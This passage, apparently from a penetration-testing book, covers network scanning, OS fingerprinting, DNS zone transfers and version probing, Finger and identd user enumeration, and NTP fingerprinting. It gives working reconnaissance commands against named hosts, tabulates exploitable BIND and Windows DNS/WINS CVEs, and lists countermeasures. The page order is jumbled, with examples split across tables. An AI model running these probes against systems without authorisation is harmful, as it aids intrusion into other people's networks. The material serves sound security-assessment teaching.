port 22: A! open (port not listen) [217.41.132.161]
port 23: A! open (port listen) [217.41.132.161]
port 25: A! open (port not listen) [217.41.132.161]
port 53: A! open (port not listen) [217.41.132.161]
port 80: A! open (port not listen) [217.41.132.161]

The tool first performs an effective traceroute to the target host in order to calculate the number of hops involved. Upon completing this initial reconnaissance, crafted TCP packets are sent with specific IP TTL values. By analyzing the responses from the target network and looking for ICMP type 11 code 0 messages, an attacker can reverse-engineer the filter policy of gw.test.org.

Passively Monitoring ICMP Responses

As port scans and network probes are launched, you can passively monitor all traffic using Ethereal or tcpdump. Often, you will see ICMP responses from border routers and firewalls, including:

- ICMP TTL exceeded (type 11 code 0) messages, indicating a routing loop
- ICMP administratively prohibited (type 3 code 13) messages, indicating a firewall or router that rejects certain packets in line with an ACL

These ICMP response messages give insight into the target network’s setup and configuration. It is also possible to determine IP alias relationships in terms of firewalls performing NAT and other functions to forward traffic to other hosts and devices (for example, if you are probing a public Internet address but see responses from a private address in your sniffer logs).
IP Fingerprinting

Various operating platforms have their own interpretations of IP-related standards when receiving certain types of packets and responding to them. By carefully analyzing responses from Internet-based hosts, attackers can often guess the operating platform of the target host via IP fingerprinting, usually by assessing and sampling the following IP responses:

- TCP FIN probes and bogus flag probes
- TCP sequence number sampling
- TCP WINDOW sampling
- TCP ACK value sampling
- ICMP message quoting
- ICMP ECHO integrity
- Responses to IP fragmentation
- IP TOS (type of service) sampling

Originally, tools such as *cheops* and *queso* were developed specifically to guess target system operating platforms; however, the first publicly available tool to perform this was *sirc3*, which simply detected the difference between BSD-derived, Windows, and Linux TCP stacks.

Today, Nmap performs a large number of IP fingerprinting tests to guess the remote operating platform. To enable IP fingerprinting when running Nmap, simply use the -O flag in combination with a scan type flag such as -sS, as shown in Example 4-12.

*Example 4-12. Using Nmap to perform IP fingerprinting*

```
$ nmap -O -sS 192.168.0.65
```

Starting Nmap 4.10 (http://www.insecure.org/nmap/ ) at 2007-04-01 23:26 UTC
Interesting ports on 192.168.0.65:
(The 1585 ports scanned but not shown below are in state: closed)

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>22/tcp</td>
<td>open</td>
<td>ssh</td>
</tr>
<tr>
<td>25/tcp</td>
<td>open</td>
<td>smtp</td>
</tr>
<tr>
<td>53/tcp</td>
<td>open</td>
<td>domain</td>
</tr>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
</tr>
<tr>
<td>88/tcp</td>
<td>open</td>
<td>kerberos-sec</td>
</tr>
<tr>
<td>110/tcp</td>
<td>open</td>
<td>pop-3</td>
</tr>
<tr>
<td>135/tcp</td>
<td>open</td>
<td>loc-srv</td>
</tr>
<tr>
<td>139/tcp</td>
<td>open</td>
<td>netbios-ssn</td>
</tr>
<tr>
<td>143/tcp</td>
<td>open</td>
<td>imap2</td>
</tr>
<tr>
<td>389/tcp</td>
<td>open</td>
<td>ldap</td>
</tr>
<tr>
<td>445/tcp</td>
<td>open</td>
<td>microsoft-ds</td>
</tr>
<tr>
<td>464/tcp</td>
<td>open</td>
<td>kpasswd5</td>
</tr>
<tr>
<td>593/tcp</td>
<td>open</td>
<td>http-rpc-epmap</td>
</tr>
<tr>
<td>636/tcp</td>
<td>open</td>
<td>ldapssl</td>
</tr>
</tbody>
</table>
TCP Sequence and IP ID Incrementation

If TCP sequence numbers are generated in a predictable way by the target host, then blind spoofing and hijacking can occur (although this is usually limited to internal network spaces). Older Windows operating platforms suffer from this because the sequence numbers are simply incremented instead of randomly generated.

If the IP ID value is incremental, the host can be used as a third party to perform IP ID header scanning. IP ID header scanning requires the ID values returned from the third party to be incremental so that accurate scan results can be gathered.

Example 4-13 shows Nmap being run in verbose mode (-v) with TCP/IP fingerprinting (-O). Setting both options shows the results of both TCP and IP ID sequence number predictability tests.

Example 4-13. Using Nmap to test TCP and IP ID sequences

$ nmap -v -sS -O 192.168.102.251

Remote OS guesses: Windows 2000 or WinXP

Network Scanning Recap

Different IP network scanning methods allow you to test and effectively identify vulnerable network components. Here is a list of effective network scanning techniques and their applications:
ICMP scanning and probing

By launching an ICMP ping sweep, you can effectively identify poorly protected hosts (as security-conscious administrators filter inbound ICMP messages) and perform a degree of operating system fingerprinting and reconnaissance by analyzing responses to the ICMP probes.

Half-open SYN flag TCP port scanning

A SYN port scan is often the most effective type of port scan to launch directly against a target IP network space. SYN scanning is extremely fast, allowing you to scan large networks quickly.

Inverse TCP port scanning

Inverse scanning types (particularly FIN, XMAS, and NULL) take advantage of idiosyncrasies in certain TCP/IP stack implementations. This scanning type isn’t effective when scanning large network spaces, although it is useful when testing and investigating the security of specific hosts and small network segments.

Third-party TCP port scanning

Using a combination of vulnerable network components and TCP spoofing, third-party TCP port scans can be effectively launched. Scanning in this fashion has two benefits: hiding the true source of a TCP scan and assessing the filters and levels of trust between hosts. Although time-consuming to undertake, third-party scanning is extremely useful when applied correctly.

UDP port scanning

Identifying accessible UDP services can be undertaken easily only if ICMP type 3 code 3 (“Destination port unreachable”) messages are allowed back through filtering mechanisms that protect target systems. UDP services can sometimes be used to gather useful data or directly compromise hosts (the DNS, SNMP, TFTP, and BOOTP services in particular).

IDS evasion and filter circumvention

Intrusion detection systems and other security mechanisms can be rendered ineffective by using multiple spoofed decoy hosts when scanning or by fragmenting probe packets using Nmap or fragroute. Filters such as firewalls, routers, and even software (including the Microsoft IPsec filter) can sometimes be bypassed using specific source TCP or UDP ports, source routing, or stateful attacks.

Network Scanning Countermeasures

Here is a checklist of countermeasures to use when considering technical modifications to networks and filtering devices to reduce the effectiveness of network scanning and probing undertaken by attackers:
• Filter inbound ICMP message types at border routers and firewalls. This forces attackers to use full-blown TCP port scans against all of your IP addresses to map your network correctly.

• Filter all outbound ICMP type 3 “unreachable” messages at border routers and firewalls to prevent UDP port scanning and firewalking from being effective.

• Consider configuring Internet firewalls so that they can identify port scans and throttle the connections accordingly. You can configure commercial firewall appliances (such as those from Check Point, NetScreen, and WatchGuard) to prevent fast port scans and SYN floods from being launched against your networks (however, this functionality can be abused by attackers using spoofed source addresses, resulting in DoS). On the open source side, there are many tools such as portsentry that can identify port scans and drop all packets from the source IP address for a given period of time.

• Assess the way that your network firewall and IDS devices handle fragmented IP packets by using fragtest and fragroute when performing scanning and probing exercises. Some devices crash or fail under conditions in which high volumes of fragmented packets are being processed.

• Ensure that your routing and filtering mechanisms (both firewalls and routers) can’t be bypassed using specific source ports or source routing techniques.

• If you house publicly accessible FTP services, ensure that your firewalls aren’t vulnerable to stateful circumvention attacks relating to malformed PORT and PASV commands.

• If a commercial firewall is in use, ensure the following:
  — The latest service pack is installed.
  — Antispoofing rules have been correctly defined so that the device doesn’t accept packets with private spoofed source addresses on its external interfaces.
  — Fastmode services aren’t used in Check Point Firewall-1 environments.

• Investigate using reverse proxy servers in your environment if you require a high-level of security. A reverse proxy will not forward fragmented or malformed packets to the target systems, so a number of low-level attacks are thwarted.

• Be aware of your own network configuration and its publicly accessible ports by launching TCP and UDP port scans along with ICMP probes against your own IP address space. It is surprising how many large companies still don’t properly undertake even simple port scanning exercises.
Remote information services are probed to gather useful information that can be used later, such as usernames and IP addresses. Some remote information services are also susceptible to direct exploitation, resulting in arbitrary command execution or compromise of sensitive data. This chapter focuses on the assessment of these services and lists relevant tools and techniques used to test them.

**Remote Information Services**

Most platforms run remote information services that provide system, user, and network details over IP. A list of remote information services taken from the `/etc/services` file is as follows:

<table>
<thead>
<tr>
<th>Service</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>wins</td>
<td>42/tcp</td>
</tr>
<tr>
<td>domain</td>
<td>53/tcp</td>
</tr>
<tr>
<td>domain</td>
<td>53/udp</td>
</tr>
<tr>
<td>finger</td>
<td>79/tcp</td>
</tr>
<tr>
<td>auth</td>
<td>113/tcp</td>
</tr>
<tr>
<td>ntp</td>
<td>123/udp</td>
</tr>
<tr>
<td>snmp</td>
<td>161/udp</td>
</tr>
<tr>
<td>ldap</td>
<td>389/tcp</td>
</tr>
<tr>
<td>rwho</td>
<td>513/udp</td>
</tr>
<tr>
<td>globalcat</td>
<td>3268/tcp</td>
</tr>
</tbody>
</table>

SSL-wrapped versions of LDAP and Global Catalog (GC) services are accessible on the following ports:

<table>
<thead>
<tr>
<th>Service</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>ldaps</td>
<td>636/tcp</td>
</tr>
<tr>
<td>globalcats</td>
<td>3269/tcp</td>
</tr>
</tbody>
</table>

An SSL tunnel must first be established (using a tool such as `stunnel`) to assess these services. Standard LDAP assessment tools can then be used through the SSL tunnel to test the services.
RPC services can also be queried to enumerate useful information. These run on dynamic high ports, and the following relevant remote information service is taken from the /etc/rpc file:

```
rsers          100002
```

**DNS**

Chapter 3 covered the use of DNS querying to enumerate and map IP networks, using forward and reverse DNS queries, along with DNS zone transfers. Name servers use two ports to fulfill requests: UDP port 53 to serve standard direct requests (to resolve names to IP addresses and vice versa), and TCP port 53 to serve DNS information during zone transfers and other high-volume queries.

You should perform the following tests for each accessible name server:

- Retrieve DNS service version information
- Cross-reference version details with vulnerability lists to enumerate vulnerabilities
- Perform DNS zone transfers against known domains
- Undertake reverse querying against known IP blocks and internal addresses
- Carry out forward grinding using a dictionary of common hostnames

**Retrieving DNS Service Version Information**

Version information can often be obtained by issuing a `version.bind` request to the name server. Example 5-1 shows how `DiG` is used to issue this request to the name server at `nserver.apple.com`, revealing the server software as BIND 9.2.1.

*Example 5-1. Using DiG to glean BIND version information*

```
$ dig @nserver.apple.com version.bind chaos txt

;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64938
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "9.2.1"
```

Retrieving DNS Service Version Information
If you don’t have access to a Unix-like system with DiG, nslookup can be used in an interactive fashion from Windows, Unix, or Mac OS to issue the same version.bind request. Example 5-2 shows the same DNS query being launched using nslookup.

Example 5-2. Using nslookup to gather BIND version information

$ nslookup
  > server nserver.apple.com
  Default server: nserver.apple.com
  Address: 17.254.0.50#53
  > set class=chaos
  > set type=txt
  > version.bind
  Server: nserver.apple.com
  Address: 17.254.0.50#53
  version.bind    text = "9.2.1"

BIND Vulnerabilities

The Berkeley Internet Name Domain (BIND) service is run on most Unix name servers. BIND has been found to be vulnerable to a plethora of buffer overflow and DoS attacks over recent years. The Internet Software Consortium (ISC) has created a very useful web page to track all publicly known vulnerabilities in BIND (see http://www.isc.org/products/BIND/bind-security.html). Table 5-1 shows a summary of the remotely exploitable vulnerabilities within BIND at the time of this writing (not including DoS or cache corruption issues), with details of the affected versions of software.

Table 5-1. Remotely exploitable BIND vulnerabilities

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>CVE reference</th>
<th>BIND versions affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>SIG overflow</td>
<td>CVE-2002-1219</td>
<td>4.9.5–4.9.10, 8.1, 8.2–8.2.6, and 8.3–8.3.3</td>
</tr>
<tr>
<td>NXDOMAIN overflow</td>
<td>CVE-2002-1220</td>
<td>8.2–8.2.6 and 8.3–8.3.3</td>
</tr>
<tr>
<td>libresolv overflow</td>
<td>CVE-2002-0029</td>
<td>4.9.2–4.9.10</td>
</tr>
<tr>
<td>OpenSSL overflow</td>
<td>CVE-2002-0656</td>
<td>9.1.0 and 9.2.x if built with SSL</td>
</tr>
<tr>
<td>libbind overflow</td>
<td>CVE-2002-0651</td>
<td>4–4.9.9, 8–8.2.6, 8.3.0–8.3.2, and 9.2.0</td>
</tr>
<tr>
<td>TSIG overflow</td>
<td>CVE-2001-0010</td>
<td>8.2, 8.2.1, 8.2.2 patch levels 1–7, and 8.2.3 beta releases</td>
</tr>
<tr>
<td>nslookupcomplain() format string bug</td>
<td>CVE-2001-0013</td>
<td>4.9.3–4.9.5 patch level 1, 4.9.6, and 4.9.7</td>
</tr>
<tr>
<td>NXT record overflow</td>
<td>CVE-1999-0833</td>
<td>8.2, 8.2 patch level 1, and 8.2.1</td>
</tr>
</tbody>
</table>

Cache corruption is a problem, especially when BIND servers are configured to respond to recursive queries and the results are cached. Two significant DNS server cache corruption vulnerabilities are CVE-2002-2211 and CVE-2006-0527. The first issue affects a number of BIND releases; however, the second issue only applies to HP-UX and Tru64 servers running BIND.
Mike Schiffman has written a good paper that discusses the history of BIND vulnerabilities and details the current security posture of over 10,000 DNS servers. You can read his findings at http://www.packetfactory.net/papers/DNS-posture/.

**BIND exploit scripts**

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). MSF doesn’t support any of the above bugs at the time of this writing. CORE IMPACT supports CVE-1999-0833 (NXT record overflow) and CVE-2001-0010 (TSIG overflow). Immunity CANVAS has no support for BIND exploits at this time.

**Microsoft DNS Service Vulnerabilities**

Windows servers ship with inbuilt DNS services to support Active Directory (AD) and other mechanisms. Details of authoritative Windows network services, such as AD, LDAP, and Kerberos can be found by searching for SRV (service) records when performing a DNS zone transfer against a known Windows server. RFC 2052 details the SRV record format and other information, but generally the following DNS SRV records can be found when testing a Windows server running DNS:

```
_gc._tcp       SRV priority=0,weight=100,port=3268,pdc.example.org
_kerberos._tcp SRV priority=0,weight=100,port=88,pdc.example.org
_kpasswd._tcp  SRV priority=0,weight=100,port=464,pdc.example.org
_ldap._tcp     SRV priority=0,weight=100,port=389,pdc.example.org
```

From analyzing the responses, you can identify servers running AD GC and Kerberos services. LDAP is also used in organizations as a user directory, listing users along with telephone numbers and other details (see the “LDAP” section later in this chapter for further information).

**Remote vulnerabilities in Microsoft DNS and WINS services**

A number of issues have been uncovered in the Microsoft DNS and WINS naming services and client implementations over the last few years. Significant remotely exploitable Microsoft DNS issues are listed in Table 5-2, and remotely exploitable Microsoft WINS issues are listed in Table 5-3. WINS services are accessible through TCP port 42.

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>CVE reference</th>
<th>Platforms affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>Multiple DNS client service issues</td>
<td>CVE-2006-3441</td>
<td>Windows 2000 SP4, XP SP2, and 2003 SP1</td>
</tr>
<tr>
<td>Recursive query and delegation traffic amplification attack</td>
<td>CVE-2006-0988</td>
<td>Windows 2000 SP4 and 2003 SP1</td>
</tr>
<tr>
<td>DNS cache poisoning</td>
<td>CVE-2001-1452</td>
<td>Windows NT 4.0 and 2000</td>
</tr>
</tbody>
</table>
Due to the way that DNS and WINS are built into the core operating system and the way that Microsoft manages its advisories and patches, it is not easy to enumerate current Microsoft DNS and WINS vulnerabilities; you must currently trawl through an abundance of advisories on the Microsoft site (http://www.microsoft.com/technet/security) and cross-reference them to identify remotely exploitable issues. A Google, MITRE CVE, or SecurityFocus search can often spread light over recent problems.

Microsoft DNS and WINS exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).

MSF supports CVE-2004-1080. In terms of commercial exploitation frameworks, both CORE IMPACT and Immunity CANVAS support CVE-2004-1080 (association context vulnerability) and CVE-2004-0567 (name validation vulnerability).

DNS Zone Transfers

DNS services are primarily accessed through UDP port 53 when serving answers to DNS requests. Authoritative name servers also listen on TCP port 53 to serve DNS zone transfers and other high-volume queries.

As discussed in Chapter 3, a DNS zone file contains all the naming information stored by the name server regarding a specific DNS domain. A DNS zone transfer can often be launched to retrieve details of nonpublic internal networks and other useful information that can help build an accurate map of the target infrastructure.

The most effective method to issue a DNS zone transfer request against a specific DNS server is to use DiG, as shown in Example 5-3.

Example 5-3. Using DiG to perform a DNS zone transfer

```bash
$ dig @relay2.ucia.gov ucia.gov axfr

ucia.gov. 3600 IN SOA relay1.ucia.gov. root.ucia.gov. 511210023 7200 900 604800 900
ucia.gov. 3600 IN NS relay1.ucia.gov.
ucia.gov. 3600 IN NS relay7.ucia.gov.
ucia.gov. 3600 IN NS auth100.ns.uu.net.
ucia.gov. 3600 IN MX § mail2.ucia.gov.
ain.ucia.gov. 3600 IN A 198.81.128.68
ain-relay.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay-int.ucia.gov. 3600 IN CNAME ain-relay1-int.ucia.gov.
```

Table 5-3. Remotely exploitable Microsoft WINS vulnerabilities

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>CVE reference</th>
<th>Platforms affected</th>
</tr>
</thead>
<tbody>
<tr>
<td>Association context vulnerability</td>
<td>CVE-2004-1080</td>
<td>Windows NT 4.0, 2000 SP4, and 2003</td>
</tr>
<tr>
<td>Name validation vulnerability</td>
<td>CVE-2004-0567</td>
<td>Windows NT 4.0, 2000 SP4, and 2003</td>
</tr>
<tr>
<td>GS flag vulnerability</td>
<td>CVE-2003-0825</td>
<td>Windows NT 4.0, 2000 SP4, and 2003</td>
</tr>
</tbody>
</table>
Reverse DNS Querying

Check Point Firewall-1 used to ship with a DNS “allow any to any” rule within its default policy. Some other firewalls also suffer from this oversight, so it is sometimes possible to access DNS services running on internal systems that should not be providing name service to the Internet.

It is sometimes possible to query DNS servers on peripheral network boundaries (using UDP port 53) and issue requests relating to internal or external IP addresses. Example 5-4 shows how nslookup can be used to find internal addresses—easily done if you know internal IP address ranges (through enumeration done earlier in the testing process).

Example 5-3. Using DiG to perform a DNS zone transfer (continued)

ain-relay1.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay1-ext.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
ain-relay1-int.ucia.gov. 3600 IN A 192.168.64.2
ain-relay2.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
ain-relay2-ext.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
ain-relay2-int.ucia.gov. 3600 IN A 192.168.64.3
ain-relay7-ext.ucia.gov. 3600 IN CNAME relay7.ucia.gov.
in-relay7-int.ucia.gov. 3600 IN A 192.168.64.67
ex-rtr-129.ucia.gov. 3600 IN A 198.81.129.222
ex-rtr-191.ucia.gov. 3600 IN HINFO "Cisco 4000 Router" "NP-1E Board"
ex-rtr-191-a.ucia.gov. 3600 IN A 192.103.66.58
ex-rtr-191-b.ucia.gov. 3600 IN A 192.103.66.62
foia.ucia.gov. 3600 IN NS relay1.ucia.gov.
foia.ucia.gov. 3600 IN NS auth100.ns.uu.net.
mail1.ucia.gov. 3600 IN A 198.81.129.68
mail1out.ucia.gov. 3600 IN A 198.81.129.71
mail2.ucia.gov. 3600 IN A 198.81.129.148
mail2out.ucia.gov. 3600 IN A 198.81.129.146
relay.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
relay-int.ucia.gov. 3600 IN CNAME ain-relay-int.ucia.gov.
relay1.ucia.gov. 3600 IN A 198.81.129.193
relay1-ext.ucia.gov. 3600 IN CNAME relay1.ucia.gov.
relay1-int.ucia.gov. 3600 IN CNAME ain-relay1-int.ucia.gov.
relay2.ucia.gov. 3600 IN A 198.81.129.194
relay2-ext.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
relay2-int.ucia.gov. 3600 IN CNAME ain-relay2-int.ucia.gov.
relay2a.ucia.gov. 3600 IN A 198.81.129.200
relay2y.ucia.gov. 3600 IN A 198.81.129.68
relay2z.ucia.gov. 3600 IN A 198.81.129.69
relay7.ucia.gov. 3600 IN A 198.81.129.186
relay7-ext.ucia.gov. 3600 IN CNAME relay7.ucia.gov.
relay7a.ucia.gov. 3600 IN A 198.81.129.197
relay7b.ucia.gov. 3600 IN A 198.81.129.198
res.ucia.gov. 3600 IN A 198.81.129.116
wais.ucia.gov. 3600 IN CNAME relay2.ucia.gov.
An automated reverse DNS sweep tool such as GHBA (http://www.attrition.org/tools/other/ghba.c) can be modified to query a specific name server for internal network information, but this can also be achieved simply by setting your /etc/resolv.conf file to point at the target name server instead of your local DNS servers. Example 5-5 shows how this can be done from a Unix environment.

Example 5-4. Extracting internal host information through DNS

$ nslookup
> set querytype=any
> server 144.51.5.2
Default server: 144.51.5.2
Address: 144.51.5.2#53
> 192.168.1.43
;; connection timed out; no servers could be reached
> 192.168.1.44
;; connection timed out; no servers could be reached
> 192.168.1.45
Server: 144.51.5.2
Address: 144.51.5.2#53

45.1.168.192.in-addr.arpa name = staging.corporate.com

Example 5-5. Automating the reverse lookup process with GHBA

$ cat /etc/resolv.conf
nameserver 144.51.5.2
$ ghba 192.168.1.0
Scanning Class C network 192.168.1...

192.168.1.1 => gatekeeper.corporate.com
192.168.1.5 => exch-cluster.corporate.com
192.168.1.6 => exchange-1.corporate.com
192.168.1.7 => exchange-2.corporate.com
192.168.1.8 => sqlserver.corporate.com
192.168.1.45 => staging.corporate.com

Forward DNS Grinding

Accessible name servers can also be queried using a dictionary file of common hostnames, cross-referenced with known domains, and fired off to the server. This approach is particularly useful if DNS zone transfers are not permitted and reverse grinding does not produce sufficient results.

A very effective forward DNS grinding tool is TXDNS (http://www.txdns.net), a Windows tool that supports dictionary-based, full brute-force hostname grinding. Example 5-6 shows TXDNS being used to perform a dictionary grinding attack against the name server at 17.254.0.50 (nserver.apple.com) using a dictionary file (smallist.txt) to reveal valid apple.com hostnames.
A generic Perl alternative to TXDNS that can be run under Linux and many other operating platforms is blindcrawl.pl, available from http://sec.angrypacket.com/code/blindcrawl.pl.

**Finger**

The fingerd service is commonly found listening on TCP port 79 of Cisco IOS routers and Unix-based servers including Solaris and HP-UX. The service is queried using a Finger client (found in most operating platforms) or by directly using a Telnet client or Netcat to connect to port 79. Two examples of this follow, in which I show the differences in results from querying a Cisco IOS device and a Solaris server.

Here’s a Finger query against a Cisco router using Telnet:

```bash
$ telnet 192.168.0.1 79
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

<table>
<thead>
<tr>
<th>Line</th>
<th>User</th>
<th>Host(s)</th>
<th>Idle</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>*</td>
<td>1 vty 0</td>
<td>idle</td>
<td>00:00:00</td>
<td>192.168.0.252</td>
</tr>
<tr>
<td>Se0</td>
<td>Sync PPP</td>
<td></td>
<td>00:00:00</td>
<td></td>
</tr>
</tbody>
</table>

Connection closed by foreign host.
```

Here the Finger client is used to query a Solaris host:

```bash
$ finger @192.168.0.10
[192.168.0.10]
Login      Name       TTY     Idle       When       Where
crm        Chris McNab pts/0  1 Tue 09:08  onyx
axd        Andrew Done pts/4  3d Thu 11:57  goofball
```
A null query will result in the current users being shown under most Finger services. By analyzing the format of the response, you can easily differentiate between a Solaris host and a Cisco IOS router.

**Finger Information Leaks**

Various information leak vulnerabilities exist in Finger implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a Solaris host running Finger. Example 5-7 highlights a bug present in all Solaris releases up to version 8; it lets you identify user accounts on the target system.

*Example 5-7. Gleaning user details through Solaris fingerd*

```
$ finger '1 2 3 4 5 6 7 8 9 0'@192.168.0.10

<table>
<thead>
<tr>
<th>Login</th>
<th>Name</th>
<th>TTY</th>
<th>Idle</th>
<th>When</th>
<th>Where</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>Super-User</td>
<td>console</td>
<td>&lt;Jun 3 17:22&gt;</td>
<td>:0</td>
<td></td>
</tr>
<tr>
<td>admin</td>
<td>Super-User</td>
<td>console</td>
<td>&lt;Jun 3 17:22&gt;</td>
<td>:0</td>
<td></td>
</tr>
<tr>
<td>daemon</td>
<td>???</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>bin</td>
<td>???</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sys</td>
<td>???</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>adm</td>
<td>Admin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>lp</td>
<td>Line Printer Admin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>uucp</td>
<td>uucp Admin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>nuucp</td>
<td>uucp Admin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>listen</td>
<td>Network Admin</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>nobody</td>
<td>Nobody</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>nobody4</td>
<td>SunOS 4.x Nobody</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>informix</td>
<td>Informix User</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>crm</td>
<td>Chris McNab</td>
<td>pts/0</td>
<td>1 Tue 09:08</td>
<td>onyx</td>
<td></td>
</tr>
<tr>
<td>axd</td>
<td>Andrew Done</td>
<td>pts/4</td>
<td>3d Thu 11:57</td>
<td>goofball</td>
<td></td>
</tr>
</tbody>
</table>
```

Many Unix Finger services perform a simple cross-reference operation of the query string against user information fields in the `/etc/passwd` file; the following Finger queries can be launched from the command line to obtain useful information:

- `finger 0@target.host`
- `finger .@target.host`
- `finger **@target.host`
- `finger user@target.host`
- `finger test@target.host`

Performing a `finger user@target.host` request is especially effective against Linux, BSD, Solaris, and other Unix systems because it often reveals a number of user accounts, as shown in Example 5-8.
Finger Redirection

In some cases, servers running Finger exist on multiple networks (such as the Internet and an internal network space). With knowledge of internal IP ranges and hostnames, you can perform a bounce attack to find internal usernames and host details as follows:

```bash
$ finger @192.168.0.10@217.34.17.200
```

<table>
<thead>
<tr>
<th>Login</th>
<th>Name</th>
<th>TTY</th>
<th>Idle</th>
<th>When</th>
<th>Where</th>
</tr>
</thead>
<tbody>
<tr>
<td>crm</td>
<td>Chris McNab</td>
<td>pts/0</td>
<td>1</td>
<td>Tue 09:08</td>
<td>onyx</td>
</tr>
<tr>
<td>axd</td>
<td>Andrew Done</td>
<td>pts/4</td>
<td>3d</td>
<td>Thu 11:57</td>
<td>goofball</td>
</tr>
</tbody>
</table>

Finger Process Manipulation Vulnerabilities

Older Linux packages such as cfingerd are susceptible to buffer overflow attacks. I highly recommend that you research servers that are running Finger, including enumeration of the operating platform to ascertain the probable type of Finger service running. You can query the CVE list at http://cve.mitre.org to keep up-to-date with vulnerable packages.

Auth

The Unix auth service (known internally as identd) listens on TCP port 113. The primary purpose of the service is to provide a degree of authentication through mapping local usernames to TCP network ports in use. IRC is a good example of this: when a user connects to an IRC server, an ident request is sent to TCP port 113 of the host to retrieve the user name.
The **identd** service can be queried in line with RFC 1413 to match open TCP ports on the target host with local usernames. The information gathered has two different uses to an attacker: to derive the owners of processes with open ports and to enumerate valid username details.

Nmap has the capability to cross-reference open ports with the **identd** service running on TCP port 113. Example 5-9 shows such an **identd** scan being run to identify a handful of user accounts.

**Example 5-9. Finding service ownership details through identd**

```
$ nmap -I -sT 192.168.0.10
```

Interesting ports on dockmaster (192.168.0.10):
(The 1595 ports scanned but not shown below are in state: closed)

<table>
<thead>
<tr>
<th>Port</th>
<th>State</th>
<th>Service</th>
<th>Owner</th>
</tr>
</thead>
<tbody>
<tr>
<td>22/tcp</td>
<td>open</td>
<td>ssh</td>
<td>root</td>
</tr>
<tr>
<td>25/tcp</td>
<td>open</td>
<td>smtp</td>
<td>root</td>
</tr>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>http</td>
<td>nobody</td>
</tr>
<tr>
<td>110/tcp</td>
<td>open</td>
<td>pop-3</td>
<td>root</td>
</tr>
<tr>
<td>113/tcp</td>
<td>open</td>
<td>auth</td>
<td>ident</td>
</tr>
<tr>
<td>5050/tcp</td>
<td>open</td>
<td>unknown</td>
<td>tomasz</td>
</tr>
<tr>
<td>8080/tcp</td>
<td>open</td>
<td>http-proxy</td>
<td>nobody</td>
</tr>
</tbody>
</table>

**Auth Process Manipulation Vulnerabilities**

The Linux **jidentd** and **cidentd** packages contain various buffer overflow vulnerabilities. I highly recommend that you research servers that have **identd** running, including enumeration of the operating platform to ascertain the probable type of **identd** service running. You can query the CVE list at [http://cve.mitre.org](http://cve.mitre.org) to keep up-to-date with vulnerable packages.

**NTP**

*Network Time Protocol* (NTP) services are usually found running on UDP port 123 of Cisco devices and Unix-based systems. NTP services can be queried to obtain the remote hostname, NTP daemon version, and OS platform details, including processor.

**NTP Fingerprinting**

Arhont’s NTP fingerprinting tool ([http://www.arhont.com/digitalAssets/211_ntp-fingerprint.tar.gz](http://www.arhont.com/digitalAssets/211_ntp-fingerprint.tar.gz)) is a Perl script that can be used to query remote NTP daemons and enumerate system details. Sometimes output is limited, as shown in Example 5-10.
If NTP is found running on a Unix-based system, however, as shown in Example 5-11, an amount of useful server data is obtained, including hostname, NTP version information, and operating platform details.

Example 5-11. Enumerating Linux system details using ntp.pl

$ perl ntp.pl -t pingo
ntp-fingerprint.pl, , v 0.1
************* NTP server found at host pingo ********************************
#It was possible to gather the following information                        #
# Operating system:Linux/2.6.10-gentoo-r5                                    #
*****************************************************************************

Further NTP Querying

Two other useful tools that can be used to launch specific NTP queries are as follows:

ntpd (http://www.ee.udel.edu/~mills/ntp/html/ntpd.html)
ntpq (http://www.ee.udel.edu/~mills/ntp/html/ntpq.html)

NTP Vulnerabilities

Only one remotely exploitable issue is listed in the MITRE CVE list, and that is CVE-2001-0414 (a buffer overflow in ntpd NTP daemon 4.0.99k and earlier (also known as xntpd and xntp3). This allows remote attackers to cause DoS and possibly execute arbitrary commands via a long readvar argument). Other locally exploitable issues exist; you can find information about these at http://cve.mitre.org.

GLEG VulnDisco (http://www.gleg.net) includes a zero-day ntpd stack overflow module that affects NTP 4.2.0 running on Linux platforms in a nondefault configuration (authentication must be enabled and NTP must be configured as a broadcast client).
SNMP

